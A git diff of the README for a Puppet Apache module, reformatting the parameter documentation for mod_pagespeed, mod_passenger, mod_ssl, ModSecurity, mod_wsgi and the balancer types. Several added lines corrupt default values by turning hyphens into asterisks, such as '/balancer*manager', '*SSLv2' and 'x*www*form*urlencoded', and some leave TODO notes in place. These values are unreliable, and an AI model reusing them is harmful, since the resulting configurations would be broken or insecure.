-- `ldap_opcache_entries`: Number of entries used to cache LDAP compare operations.
-- `ldap_opcache_ttl`: Time that entries in the operation cache remain valid.
-- `package_name`: Custom package name. Defaults to `undef`.
+* `apache_version`: Specifies the installed Apache version.
+
+ Default: `undef`.
+
+* `ldap_trusted_global_cert_file`: Specifies the path and file name of the trusted CA certificates to use when establishing SSL or TLS connections to an LDAP server.
+
+* `ldap_trusted_global_cert_type`: Specifies the global trust certificate format.
+
+ Default: 'CA_BASE64'.
+
+* `ldap_shared_cache_size`: Specifies the size, in bytes, of the shared memory cache.
+
+* `ldap_cache_entries`: Specifies the maximum number of entries in the primary LDAP cache.
+
+* `ldap_cache_ttl`: Specifies the time, in seconds, that cached items remain valid.
+
+* `ldap_opcache_entries`: Specifies the number of entries used to cache LDAP compare operations.
+
+* `ldap_opcache_ttl`: Specifies the time, in seconds, that entries in the operation cache remain valid.
+
+* `package_name`: Specifies the custom package name.
+
+ Default: `undef`.
##### Class: `apache::mod::negotiation`
Installs and configures [`mod_negotiation`][].
-**Parameters within `apache::mod::negotiation`:**
+**Parameters**:
-- `force_language_priority`: Sets the `ForceLanguagePriority` option. Valid option: String. Default: `Prefer Fallback`.
-- `language_priority`: An [array][] of languages to set the `LanguagePriority` option of the module. Default: [ 'en', 'ca', 'cs', 'da', 'de', 'el', 'eo', 'es', 'et', 'fr', 'he', 'hr', 'it', 'ja', 'ko', 'ltz', 'nl', 'nn', 'no', 'pl', 'pt', 'pt-BR', 'ru', 'sv', 'zh-CN', 'zh-TW' ]
+* `force_language_priority`: Sets the `ForceLanguagePriority` option.
+
+ Values: A string.
+
+ Default: `Prefer Fallback`.
+
+* `language_priority`: An [array][] of languages to set the `LanguagePriority` option of the module.
+
+ Default: [ 'en', 'ca', 'cs', 'da', 'de', 'el', 'eo', 'es', 'et', 'fr', 'he', 'hr', 'it', 'ja', 'ko', 'ltz', 'nl', 'nn', 'no', 'pl', 'pt', 'pt*BR', 'ru', 'sv', 'zh*CN', 'zh*TW' ]
+
+##### Class: `apache::mod::nss`
+
+An SSL provider for Apache using the NSS crypto libraries.
+
+**Parameters:**
+
+- `transfer_log`: path to access.log
+- `error_log`: path to error.log
+- `passwd_file`: path to file used for NSSPassPhraseDialog directive
+- `port`: SSL port. Defaults to 8443
##### Class: `apache::mod::pagespeed`
Installs and manages [`mod_pagespeed`][], a Google module that rewrites web pages to reduce latency and bandwidth.
-While this Apache module requires the `mod-pagespeed-stable` package, Puppet **doesn't** manage the software repositories required to automatically install the package. If you declare this class when the package is either not installed or not available to your package manager, your Puppet run will fail.
+Although this apache module requires the `mod-pagespeed-stable` package, Puppet **does not** manage the software repositories required to automatically install the package. If you declare this class when the package is either not installed or not available to your package manager, your Puppet run will fail.
-**Note:** Verify that your system is compatible with the latest Google Pagespeed requirements.
+> **Note:** Verify that your system is compatible with the latest Google Pagespeed requirements.
-**Parameters within `apache::mod::pagespeed`**:
+**Parameters**:
-- `inherit_vhost_config`: Default: 'on'.
-- `filter_xhtml`: Default: false.
-- `cache_path`: Default: '/var/cache/mod\_pagespeed/'.
-- `log_dir`: Default: '/var/log/pagespeed'.
-- `memcache_servers`: Default: [].
-- `rewrite_level`: Default: 'CoreFilters'.
-- `disable_filters`: Default: [].
-- `enable_filters`: Default: [].
-- `forbid_filters`: Default: [].
-- `rewrite_deadline_per_flush_ms`: Default: 10.
-- `additional_domains`: Default: undef.
-- `file_cache_size_kb`: Default: 102400.
-- `file_cache_clean_interval_ms`: Default: 3600000.
-- `lru_cache_per_process`: Default: 1024.
-- `lru_cache_byte_limit`: Default: 16384.
-- `css_flatten_max_bytes`: Default: 2048.
-- `css_inline_max_bytes`: Default: 2048.
-- `css_image_inline_max_bytes`: Default: 2048.
-- `image_inline_max_bytes`: Default: 2048.
-- `js_inline_max_bytes`: Default: 2048.
-- `css_outline_min_bytes`: Default: 3000.
-- `js_outline_min_bytes`: Default: 3000.
-- `inode_limit`: Default: 500000.
-- `image_max_rewrites_at_once`: Default: 8.
-- `num_rewrite_threads`: Default: 4.
-- `num_expensive_rewrite_threads`: Default: 4.
-- `collect_statistics`: Default: 'on'.
-- `statistics_logging`: Default: 'on'.
-- `allow_view_stats`: Default: [].
-- `allow_pagespeed_console`: Default: [].
-- `allow_pagespeed_message`: Default: [].
-- `message_buffer_size`: Default: 100000.
-- `additional_configuration`: A hash of directive-value pairs or an array of lines to insert at the end of the pagespeed configuration. Default: '{ }'.
+These parameters correspond to the module's directives. See the [module's documentation][`mod_pagespeed`] for details.
-The class's parameters correspond to the module's directives. See the [module's documentation][`mod_pagespeed`] for details.
+* `inherit_vhost_config`: Default: 'on'.
+* `filter_xhtml`: Default: `false`.
+* `cache_path`: Default: '/var/cache/mod_pagespeed/'.
+* `log_dir`: Default: '/var/log/pagespeed'.
+* `memcache_servers`: Default: [].
+* `rewrite_level`: Default: 'CoreFilters'.
+* `disable_filters`: Default: [].
+* `enable_filters`: Default: [].
+* `forbid_filters`: Default: [].
+* `rewrite_deadline_per_flush_ms`: Default: 10.
+* `additional_domains`: Default: `undef`.
+* `file_cache_size_kb`: Default: 102400.
+* `file_cache_clean_interval_ms`: Default: 3600000.
+* `lru_cache_per_process`: Default: 1024.
+* `lru_cache_byte_limit`: Default: 16384.
+* `css_flatten_max_bytes`: Default: 2048.
+* `css_inline_max_bytes`: Default: 2048.
+* `css_image_inline_max_bytes`: Default: 2048.
+* `image_inline_max_bytes`: Default: 2048.
+* `js_inline_max_bytes`: Default: 2048.
+* `css_outline_min_bytes`: Default: 3000.
+* `js_outline_min_bytes`: Default: 3000.
+* `inode_limit`: Default: 500000.
+* `image_max_rewrites_at_once`: Default: 8.
+* `num_rewrite_threads`: Default: 4.
+* `num_expensive_rewrite_threads`: Default: 4.
+* `collect_statistics`: Default: 'on'.
+* `statistics_logging`: Default: 'on'.
+* `allow_view_stats`: Default: [].
+* `allow_pagespeed_console`: Default: [].
+* `allow_pagespeed_message`: Default: [].
+* `message_buffer_size`: Default: 100000.
+* `additional_configuration`: A hash of directive value pairs, or an array of lines to insert at the end of the pagespeed configuration. Default: '{ }'.
##### Class: `apache::mod::passenger`
-Installs and configures mod\_passenger
+Installs and configures `mod_passenger`.
-**Parameters within `apache::mod::passenger`**:
+>**Note**: The passenger module isn't available on RH/CentOS without providing the dependency packages provided by EPEL and the `mod_passengers` custom repository. See the `manage_repo` parameter above and [https://www.phusionpassenger.com/library/install/apache/install/oss/el7/]()
-- `manage_repo`: Manage phusionpassenger.com repository. Default: true.
+**Parameters**: [TODO: parameters were not listed (except `manage_repo`), so I pulled them out of the manifest. I need to know what these parameters do and what their values can be OR a link that points external documentation for the parameter mapping (as with mod_pagespeed above) ]
-TODO: The parameters section is incomplete.
-
-**Note**: The passenger module isn't available on RH/CentOS without providing dependency packages provided by EPEL and mod\_passengers own custom repository. See the `manage_repo` parameter above and [https://www.phusionpassenger.com/library/install/apache/install/oss/el7/]()
+* `passenger_conf_file`: `$::apache::params::passenger_conf_file`
+* `passenger_conf_package_file: `$::apache::params::passenger_conf_package_file`
+* `passenger_high_performance`: Default: `undef`
+* `passenger_pool_idle_time`: Default: `undef`
+* `passenger_max_request_queue_size`: Default: `undef`
+* `passenger_max_requests`: Default: `undef`
+* `passenger_spawn_method`: Default: `undef`
+* `passenger_stat_throttle_rate`: Default: `undef`
+* `rack_autodetect`: Default: `undef`
+* `rails_autodetect`: Default: `undef`
+* `passenger_root` : `$::apache::params::passenger_root`
+* `passenger_ruby` : `$::apache::params::passenger_ruby`
+* `passenger_default_ruby`: `$::apache::params::passenger_default_ruby`
+* `passenger_max_pool_size`: Default: `undef`
+* `passenger_min_instances`: Default: `undef`
+* `passenger_max_instances_per_app`: Default: `undef`
+* `passenger_use_global_queue`: Default: `undef`
+* `passenger_app_env`: Default: `undef`
+* `passenger_log_file`: Default: `undef`
+* `passenger_log_level`: Default: `undef`
+* `passenger_data_buffer_dir`: Default: `undef`
+* `manage_repo`: Whether to manage the phusionpassenger.com repository. Default: `true`.
+* `mod_package`: Default: `undef`.
+* `mod_package_ensure`: Default: `undef`.
+* `mod_lib`: Default: `undef`.
+* `mod_lib_path`: Default: `undef`.
+* `mod_id`: Default: `undef`.
+* `mod_path`: Default: `undef`.
##### Class: `apache::mod::proxy`
@@ -1814,6 +2289,8 @@ Installs `mod_proxy` and uses the `proxy.conf.erb` template to generate its conf
**Parameters within `apache::mod::proxy`**:
+TODO: What do these parameters do?
+
- `allow_from`: Default: `undef`.
- `apache_version`: Default: `undef`.
- `package_name`: Default: `undef`.
@@ -1824,56 +2301,71 @@ Installs `mod_proxy` and uses the `proxy.conf.erb` template to generate its conf
Installs and manages [`mod_proxy_balancer`][], which provides load balancing.
-**Parameters within `apache::mod::proxy_balancer`**:
+**Parameters**:
-- `manager`: Determines whether to enable balancer manager support. Default: `false`.
-- `manager_path`: The server location of the balancer manager. Default: '/balancer-manager'.
-- `allow_from`: An [array][] of IPv4 or IPv6 addresses that can access `/balancer-manager`. Default: ['127.0.0.1','::1'].
-- `apache_version`: Apache's version number as a string, such as '2.2' or '2.4'. Default: the value of [`$::apache::apache_version`][`apache_version`].
- - On Apache >= 2.4, `mod_slotmem_shm` is loaded.
+* `manager`: Determines whether to enable balancer manager support.
+ Default: `false`.
+
+* `manager_path`: The server location of the balancer manager.
+
+ Default: '/balancer*manager'.
+
+* `allow_from`: An [array][] of IPv4 or IPv6 addresses that can access `/balancer*manager`.
+
+ Default: ['127.0.0.1','::1'].
+
+* `apache_version`: Apache's version number as a string, such as '2.2' or '2.4'.
+
+ Default: the value of [`$::apache::apache_version`][`apache_version`]. On Apache 2.4 or greater, `mod_slotmem_shm` is loaded.
##### Class: `apache::mod::php`
Installs and configures [`mod_php`][].
-**Parameters within `apache::mod::php`**:
+**Parameters**:
-Default values depend on your operating system.
+Default values for these parameters depend on your operating system. Most of this class's parameters correspond to `mod_php` directives; see the [module's documentation][`mod_php`] for details.
-> **Note**: This list is incomplete. Most of this class's parameters correspond to `mod_php` directives; see the [module's documentation][`mod_php`] for details.
-
-- `package_name`: Names the package that installs `mod_php`.
-- `path`: Defines the path to the `mod_php` shared object (`.so`) file.
-- `source`: Defines the path to the default configuration. Valid options include a `puppet:///` path.
-- `template`: Defines the path to the `php.conf` template Puppet uses to generate the configuration file.
-- `content`: Adds arbitrary content to `php.conf`.
+* `package_name`: Names the package that installs `mod_php`.
+* `path`: Defines the path to the `mod_php` shared object (`.so`) file.
+* `source`: Defines the path to the default configuration. Values include a `puppet:///` path.
+* `template`: Defines the path to the `php.conf` template Puppet uses to generate the configuration file.
+* `content`: Adds arbitrary content to `php.conf`.
##### Class: `apache::mod::proxy_html`
-**Note**: There is no official package available for mod\_proxy\_html and thus it must be made available by means outside of the control of the apache module.
+**Note**: There is no official package available for `mod_proxy_html`, so you must make it available outside of the apache module.
##### Class: `apache::mod::reqtimeout`
Installs and configures [`mod_reqtimeout`][].
-**Parameters within `apache::mod::reqtimeout`**:
+**Parameters**
-- `timeouts`: A string or [array][] that sets the [`RequestReadTimeout`][] option. Default: ['header=20-40,MinRate=500', 'body=20,MinRate=500'].
+* `timeouts`: Sets the [`RequestReadTimeout`][] option.
+
+ Values: A string or [array][].
+
+ Default: ['header=20-40,MinRate=500', 'body=20,MinRate=500'].
+
+##### Class: `apache::mod::rewrite`
+
+Installs and enables the Apache module `mod_rewrite`.
##### Class: `apache::mod::shib`
-Installs the [Shibboleth](http://shibboleth.net/) Apache module `mod_shib`, which enables SAML2 single sign-on (SSO) authentication by Shibboleth Identity Providers and Shibboleth Federations. This class only installs and configures the Apache components of a web application that consumes Shibboleth SSO identities, also known as a Shibboleth Service Provider. You can manage the Shibboleth configuration manually, with Puppet, or using a [Shibboleth Puppet Module](https://github.com/aethylred/puppet-shibboleth).
+Installs the [Shibboleth](http://shibboleth.net/) Apache module `mod_shib`, which enables SAML2 single sign-on (SSO) authentication by Shibboleth Identity Providers and Shibboleth Federations. Defining this class enables Shibboleth-specific parameters in `apache::vhost` instances.
-Defining this class enables Shibboleth-specific parameters in `apache::vhost` instances.
+This class installs and configures only the Apache components of a web application that consumes Shibboleth SSO identities. You can manage the Shibboleth configuration manually, with Puppet, or using a [Shibboleth Puppet Module](https://github.com/aethylred/puppet-shibboleth).
**Note**: The shibboleth module isn't available on RH/CentOS without providing dependency packages provided by Shibboleth's repositories. See [http://wiki.aaf.edu.au/tech-info/sp-install-guide]()
##### Class: `apache::mod::ssl`
-Installs [Apache SSL features][`mod_ssl`] and uses the `ssl.conf.erb` template to generate its configuration. On most operating systems, this ssl.conf is placed in the module configuration directory, however on Red Hat-based operating systems it is placed in the confd directory (/etc/httpd/conf.d), the same location the RPM stores the configuration.
+Installs [Apache SSL features][`mod_ssl`] and uses the `ssl.conf.erb` template to generate its configuration. On most operating systems, this `ssl.conf` is placed in the module configuration directory. On Red Hat-based operating systems, this file is placed in `/etc/httpd/conf.d`, the same location in which the RPM stores the configuration.
-**Parameters within `apache::mod::ssl`**:
+To use SSL with a virtual host, you must either set the [`default_ssl_vhost`][] parameter in `::apache` to `true` **or** the [`ssl`][] parameter in [`apache::vhost`][] to `true`.
- `ssl_cipher`: Default: 'HIGH:MEDIUM:!aNULL:!MD5:!RC4'.
- `ssl_compression`: Default: false.
@@ -1883,25 +2375,90 @@ Installs [Apache SSL features][`mod_ssl`] and uses the `ssl.conf.erb` template t
- `ssl_options`: Default: [ 'StdEnvVars' ]
- `ssl_pass_phrase_dialog`: Default: 'builtin'.
- `ssl_protocol`: Default: [ 'all', '-SSLv2', '-SSLv3' ].
+- `ssl_proxy_protocol`: Default: [].
- `ssl_random_seed_bytes`: Valid options: A string. Default: '512'.
+- `ssl_sessioncache`: Valid options: A string. Default: '300'.
- `ssl_sessioncachetimeout`: Valid options: A string. Default: '300'.
- `ssl_mutex`: Default: Determined based on the OS. Valid options: See [mod_ssl][mod_ssl] documentation.
- RedHat/FreeBSD/Suse/Gentoo: 'default'
- Debian/Ubuntu + Apache >= 2.4: 'default'
- Debian/Ubuntu + Apache < 2.4: 'file:\${APACHE_RUN_DIR}/ssl_mutex'
- - Ubuntu 10.04: 'file:/var/run/apache2/ssl_mutex'
+**Parameters:
+
+* `ssl_cipher`
+
+ Default: 'HIGH:MEDIUM:!aNULL:!MD5:!RC4'.
+
+* `ssl_compression`
+
+ Default: `false`.
+
+* `ssl_cryptodevice`
+
+ Default: 'builtin'.
+
+* `ssl_honorcipherorder`
+
+ Default: `true`.
+
+* `ssl_openssl_conf_cmd`
+
+ Default: `undef`.
+
+* `ssl_options`
+
+ Default: [ 'StdEnvVars' ]
+
+* `ssl_pass_phrase_dialog`
+
+ Default: 'builtin'.
+
+* `ssl_protocol`
+
+ Default: [ 'all', '*SSLv2', '*SSLv3' ].
+
+* `ssl_random_seed_bytes`
+
+ Values: A string.
+
+ Default: '512'.
+
+* `ssl_sessioncachetimeout`
+
+ Values: A string.
+
+ Default: '300'.
+
+* `ssl_mutex`:
+
+ Values: See [mod_ssl][mod_ssl] documentation.
+
+ Default: Based on the OS:
+
+ * RedHat/FreeBSD/Suse/Gentoo: 'default'.
+ * Debian/Ubuntu + Apache >= 2.4: 'default'.
+ * Debian/Ubuntu + Apache < 2.4: 'file:\${APACHE_RUN_DIR}/ssl_mutex'.
+ * Ubuntu 10.04: 'file:/var/run/apache2/ssl_mutex'.
-To use SSL with a virtual host, you must either set the [`default_ssl_vhost`][] parameter in `::apache` to true **or** the [`ssl`][] parameter in [`apache::vhost`][] to true.
##### Class: `apache::mod::status`
Installs [`mod_status`][] and uses the `status.conf.erb` template to generate its configuration.
-**Parameters within `apache::mod::status`**:
+**Parameters**:
-- `allow_from`: An [array][] of IPv4 or IPv6 addresses that can access `/server-status`. Default: ['127.0.0.1','::1'].
-- `extended_status`: Determines whether to track extended status information for each request, via the [`ExtendedStatus`][] directive. Valid options: 'Off', 'On'. Default: 'On'.
-- `status_path`: The server location of the status page. Default: '/server-status'.
+* `allow_from`: An [array][] of IPv4 or IPv6 addresses that can access `/server-status`.
+
+ Default: ['127.0.0.1','::1'].
+* `extended_status`: Determines whether to track extended status information for each request, via the [`ExtendedStatus`][] directive.
+
+ Values: 'Off', 'On'.
+
+ Default: 'On'.
+
+* `status_path`: The server location of the status page.
+
+ Default: '/server-status'.
##### Class: `apache::mod::version`
@@ -1913,48 +2470,147 @@ If Debian and Ubuntu systems with Apache 2.4 are classified with `apache::mod::v
Installs and configures Trustwave's [`mod_security`][]. It is enabled and runs by default on all virtual hosts.
-**Parameters within `apache::mod::security`**:
+**Parameters**:
-- `activated_rules`: An [array][] of rules from the `modsec_crs_path` or absolute to activate via symlinks. Default: `modsec_default_rules` in [`apache::params`][].
-- `allowed_methods`: A space-separated list of allowed HTTP methods. Default: 'GET HEAD POST OPTIONS'.
-- `content_types`: A list of one or more allowed [MIME types][MIME `content-type`]. Default: 'application/x-www-form-urlencoded|multipart/form-data|text/xml|application/xml|application/x-amf'
-- `crs_package`: Names the package that installs CRS rules. Default: `modsec_crs_package` in [`apache::params`][].
-- `modsec_dir`: Defines the path where Puppet installs the modsec configuration and activated rules links. Default: 'On', set by `modsec_dir` in [`apache::params`][].
+* `activated_rules`: An [array][] of rules from the `modsec_crs_path` or absolute to activate via symlinks.
+* `allowed_methods`: A space*separated list of allowed HTTP methods.
+
+ Default: 'GET HEAD POST OPTIONS'.
+
+* `content_types`: A list of one or more allowed [MIME types][MIME `content*type`].
+
+ Default: 'application/x*www*form*urlencoded|multipart/form*data|text/xml|application/xml|application/x*amf'.
+
+* `crs_package`: Names the package that installs CRS rules.
+
+ Default: `modsec_crs_package` in [`apache::params`][].
+
+* `manage_security_crs`: Manage security_crs.conf rules file.
+
+ Default: `true`.
+
+* `modsec_dir`: Defines the path where Puppet installs the modsec configuration and activated rules links.
+
+ Default: 'On', set by `modsec_dir` in [`apache::params`][].
${modsec\_dir}/activated\_rules.
-- `modsec_secruleengine`: Configures the modsec rules engine. Valid options: 'On', 'Off', and 'DetectionOnly'. Default: `modsec_secruleengine` in [`apache::params`][].
-- `restricted_extensions`: A space-separated list of prohibited file extensions. Default: '.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/'.
-- `restricted_headers`: A list of restricted headers separated by slashes and spaces. Default: 'Proxy-Connection/ /Lock-Token/ /Content-Range/ /Translate/ /via/ /if/'.
-- `secdefaultaction`: Configures the Mode of Operation, Self-Contained ('deny') vs. Collaborative Detection ('pass'), for the OWASP ModSecurity Core Rule Set. Default: 'deny'. Fuller values can be set too like "log,auditlog,deny,status:406,tag:'SLA 24/7'"
-- `secpcrematchlimit`: Sets the number for the match limit in the PCRE library. Default: '1500'
-- `secpcrematchlimitrecursion`: Sets the number for the match limit recursion in the PCRE library. Default: '1500'
-- `logroot`: Configures the location of audit and debug logs. Defaults to apache log directory (Redhat: /var/log/httpd Debian: /var/log/apache2)
-- `audit_log_releavant_status`: Configures which response status code is to be considered relevant for the purpose of audit logging. Defaults: '^(?:5|4(?!04))'.
-- `audit_log_parts`: Sets the sections to be put in the [audit log][]. Default: 'ABIJDEFHZ'
-- `anomaly_score_blocking`: De-/Activates the Collaborative Detection Blocking of the OWASP ModSecurity Core Rule Set. Default: off.
-- `inbound_anomaly_threshold`: Sets the scoring threshold level of the inbound blocking rules for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. Default: '5'.
-- `outbound_anomaly_threshold`: Sets the scoring threshold level of the outbound blocking rules for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. Default: '4'.
-- `critical_anomaly_score`: Sets the scoring points of the critical severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. Default: '5'.
-- `error_anomaly_score`: Sets the scoring points of the error severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. Default: '4'.
-- `warning_anomaly_score`: Sets the scoring points of the warning severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. Default: '3'.
-- `notice_anomaly_score`: Sets the scoring points of the notice severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. Default: '2'.
-- `secrequestmaxnumargs`: Sets the Maximum number of arguments in the request. Default: '255'.
-- `secrequestbodylimit`: Sets the maximum request body size ModSecurity will accept for buffering.. Default: '13107200'.
-- `secrequestbodynofileslimit`: Sets the maximum request body size ModSecurity will accept for buffering, excluding the size of any files being transported in the request. Default: '131072'.
-- `secrequestbodyinmemorylimit`: Sets the maximum request body size that ModSecurity will store in memory. Default: '131072'
+
+* `modsec_secruleengine`: Configures the modsec rules engine. Values: 'On', 'Off', and 'DetectionOnly'.
+
+ Default: `modsec_secruleengine` in [`apache::params`][].
+
+* `restricted_extensions`: A space*separated list of prohibited file extensions.
+
+ Default: '.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/'.
+
+* `restricted_headers`: A list of restricted headers separated by slashes and spaces.
+
+ Default: 'Proxy*Connection/ /Lock*Token/ /Content*Range/ /Translate/ /via/ /if/'.
+
+* `secdefaultaction`: Configures the Mode of Operation, Self-Contained ('deny') or Collaborative Detection ('pass'), for the OWASP ModSecurity Core Rule Set.
+
+ Default: 'deny'. You can also set full values, such as "log,auditlog,deny,status:406,tag:'SLA 24/7'".
+
+* `secpcrematchlimit`: Sets the number for the match limit in the PCRE library.
+
+ Default: 1500.
+
+* `secpcrematchlimitrecursion`: Sets the number for the match limit recursion in the PCRE library.
+
+ Default: 1500.
+
+* `logroot`: Configures the location of audit and debug logs.
+
+ Defaults to the Apache log directory (Redhat: `/var/log/httpd`, Debian: `/var/log/apache2`).
+
+* `audit_log_releavant_status`: Configures which response status code is to be considered relevant for the purpose of audit logging.
+
+ Default: '^(?:5|4(?!04))'.
+
+* `audit_log_parts`: Sets the sections to be put in the [audit log][].
+
+ Default: 'ABIJDEFHZ'.
+
+* `anomaly_score_blocking`: Activates or deactivates the Collaborative Detection Blocking of the OWASP ModSecurity Core Rule Set.
+
+ Default: 'off'.
+
+* `inbound_anomaly_threshold`: Sets the scoring threshold level of the inbound blocking rules for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set.
+
+ Default: 5.
+
+* `outbound_anomaly_threshold`: Sets the scoring threshold level of the outbound blocking rules for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set.
+
+ Default: 4.
+
+* `critical_anomaly_score`: Sets the scoring points of the critical severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set.
+
+ Default: 5.
+
+* `error_anomaly_score`: Sets the scoring points of the error severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set.
+
+ Default: 4.
+
+* `warning_anomaly_score`: Sets the scoring points of the warning severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set.
+
+ Default: 3.
+
+* `notice_anomaly_score`: Sets the scoring points of the notice severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set.
+
+Default: 2.
+
+* `secrequestmaxnumargs`: Sets the Maximum number of arguments in the request.
+
+ Default: 255.
+
+* `secrequestbodylimit`: Sets the maximum request body size ModSecurity accepts for buffering.
+
+ Default: '13107200'.
+
+* `secrequestbodynofileslimit`: Sets the maximum request body size ModSecurity accepts for buffering, excluding the size of any files being transported in the request.
+
+ Default: '131072'.
+
+* `secrequestbodyinmemorylimit`: Sets the maximum request body size that ModSecurity stores in memory.
+
+ Default: '131072'
##### Class: `apache::mod::wsgi`
Enables Python support via [`mod_wsgi`][].
-**Parameters within `apache::mod::wsgi`**:
+**Parameters**:
-- `mod_path`: Defines the path to the `mod_wsgi` shared object (`.so`) file. Default: undef.
- - If the `mod_path` parameter doesn't contain `/`, Puppet prefixes it with your operating system's default module path.
-Otherwise, Puppet follows it literally.
-- `package_name`: Names the package that installs `mod_wsgi`. Default: undef.
-- `wsgi_python_home`: Defines the [`WSGIPythonHome`][] directive, such as '/path/to/venv'. Valid options: path. Default: undef.
-- `wsgi_python_path`: Defines the [`WSGIPythonPath`][] directive, such as '/path/to/venv/site-packages'. Valid options: path. Default: undef.
-- `wsgi_socket_prefix`: Defines the [`WSGISocketPrefix`][] directive, such as "\${APACHE\_RUN\_DIR}WSGI". Default: `wsgi_socket_prefix` in [`apache::params`][].
+* `mod_path`: Defines the path to the `mod_wsgi` shared object (`.so`) file.
+
+ Default: `undef`.
+
+ * If the `mod_path` parameter doesn't contain `/`, Puppet prefixes it with your operating system's default module path. Otherwise, Puppet follows it literally.
+
+* `package_name`: Names the package that installs `mod_wsgi`.
+
+ Default: `undef`.
+
+* `wsgi_python_home`: Defines the [`WSGIPythonHome`][] directive, such as '/path/to/venv'.
+
+ Values: A string specifying a path.
+
+ Default: `undef`.
+
+* `wsgi_python_path`: Defines the [`WSGIPythonPath`][] directive, such as '/path/to/venv/site*packages'.
+
+ Values: A string specifying a path.
+
+ Default: `undef`.
+
+* `wsgi_restrict_embedded`: Defines the [`WSGIRestrictEmbedded`][] directive, such as 'On'.
+
+Values: On|Off|undef.
+
+Default: undef.
+
+* `wsgi_socket_prefix`: Defines the [`WSGISocketPrefix`][] directive, such as "\${APACHE\_RUN\_DIR}WSGI".
+
+ Default: `wsgi_socket_prefix` in [`apache::params`][].
The class's parameters correspond to the module's directives. See the [module's documentation][`mod_wsgi`] for details.
@@ -1992,11 +2648,11 @@ Attempts to automatically detect the Apache version based on the operating syste
#### Defined type: `apache::balancer`
-Creates an Apache load balancing group, also known as a balancer cluster, using [`mod_proxy`][]. Each load balancing group needs one or more balancer members, which you can declare in Puppet with the [`apache::balancermember`][] define.
+Creates an Apache load balancing group, also known as a balancer cluster, using [`mod_proxy`][]. Each load balancing group needs one or more balancer members, which you can declare in Puppet with the [`apache::balancermember`][] defined type.
-Declare one `apache::balancer` define for each Apache load balancing group. You can export `apache::balancermember` defined types for all balancer members and collect them on a single Apache load balancer server using [exported resources][].
+Declare one `apache::balancer` defined type for each Apache load balancing group. You can export `apache::balancermember` defined types for all balancer members and collect them on a single Apache load balancer server using [exported resources][].
-**Parameters within `apache::balancer`**:
+**Parameters**:
##### `name`
@@ -2004,157 +2660,212 @@ Sets the title of the balancer cluster and name of the `conf.d` file containing
##### `proxy_set`
-Configures key-value pairs as [`ProxySet`][] lines. Valid options: a [hash][]. Default: '{}'.
+Configures key-value pairs as [`ProxySet`][] lines. Values: a [hash][]. Default: '{}'.
##### `collect_exported`
-Determines whether to use [exported resources][]. Valid options: Boolean. Default: true.
+Determines whether to use [exported resources][].
-If you statically declare all of your backend servers, set this parameter to false to rely on existing, declared balancer member resources. Also, use `apache::balancermember` with [array][] arguments.
+If you statically declare all of your backend servers, set this parameter to `false` to rely on existing, declared balancer member resources. Also, use `apache::balancermember` with [array][] arguments.
-To dynamically declare backend servers via exported resources collected on a central node, set this parameter to true to collect the balancer member resources exported by the balancer member nodes.
+To dynamically declare backend servers via exported resources collected on a central node, set this parameter to `true` to collect the balancer member resources exported by the balancer member nodes.
If you don't use exported resources, a single Puppet run configures all balancer members. If you use exported resources, Puppet has to run on the balanced nodes first, then run on the balancer.
+Boolean. Default: `true`.
+
#### Defined type: `apache::balancermember`
Defines members of [`mod_proxy_balancer`][], which sets up a balancer member inside a listening service configuration block in the load balancer's `apache.cfg`.
-**Parameters within `apache::balancermember`**:
+**Parameters**:
##### `balancer_cluster`
-**Required**. Sets the Apache service's instance name, and must match the name of a declared [`apache::balancer`][] resource.
+**Required**.
+
+Sets the Apache service's instance name, and must match the name of a declared [`apache::balancer`][] resource.
##### `url`
-Specifies the URL used to contact the balancer member server. Default: 'http://${::fqdn}/'.
+Specifies the URL used to contact the balancer member server.
+
+Default: 'http://${::fqdn}/'.
##### `options`
-Specifies an [array][] of [options](https://httpd.apache.org/docs/current/mod/mod_proxy.html#balancermember) after the URL, and accepts any key-value pairs available to [`ProxyPass`][]. Default: an empty array.
+Specifies an [array][] of [options](https://httpd.apache.org/docs/current/mod/mod_proxy.html#balancermember) after the URL, and accepts any key-value pairs available to [`ProxyPass`][].
+
+Default: an empty array.
#### Defined type: `apache::custom_config`
-Adds a custom configuration file to the Apache server's `conf.d` directory. If the file is invalid and this defined type's [`verify_config`][] parameter's value is true, Puppet throws an error during a Puppet run.
+Adds a custom configuration file to the Apache server's `conf.d` directory. If the file is invalid and this defined type's [`verify_config`][] parameter's value is `true`, Puppet throws an error during a Puppet run.
-**Parameters within `apache::custom_config`**:
+**Parameters**:
##### `ensure`
-Specifies whether the configuration file should be present. Valid options: 'absent', 'present'. Default: 'present'.
+Specifies whether the configuration file should be present.
+
+Values: 'absent', 'present'.
+
+Default: 'present'.
##### `confdir`
-Sets the directory in which Puppet places configuration files. Default: the value of [`$::apache::confd_dir`][`confd_dir`].
+Sets the directory in which Puppet places configuration files.
+
+Default: the value of [`$::apache::confd_dir`][`confd_dir`].
##### `content`
Sets the configuration file's content. The `content` and [`source`][] parameters are exclusive of each other.
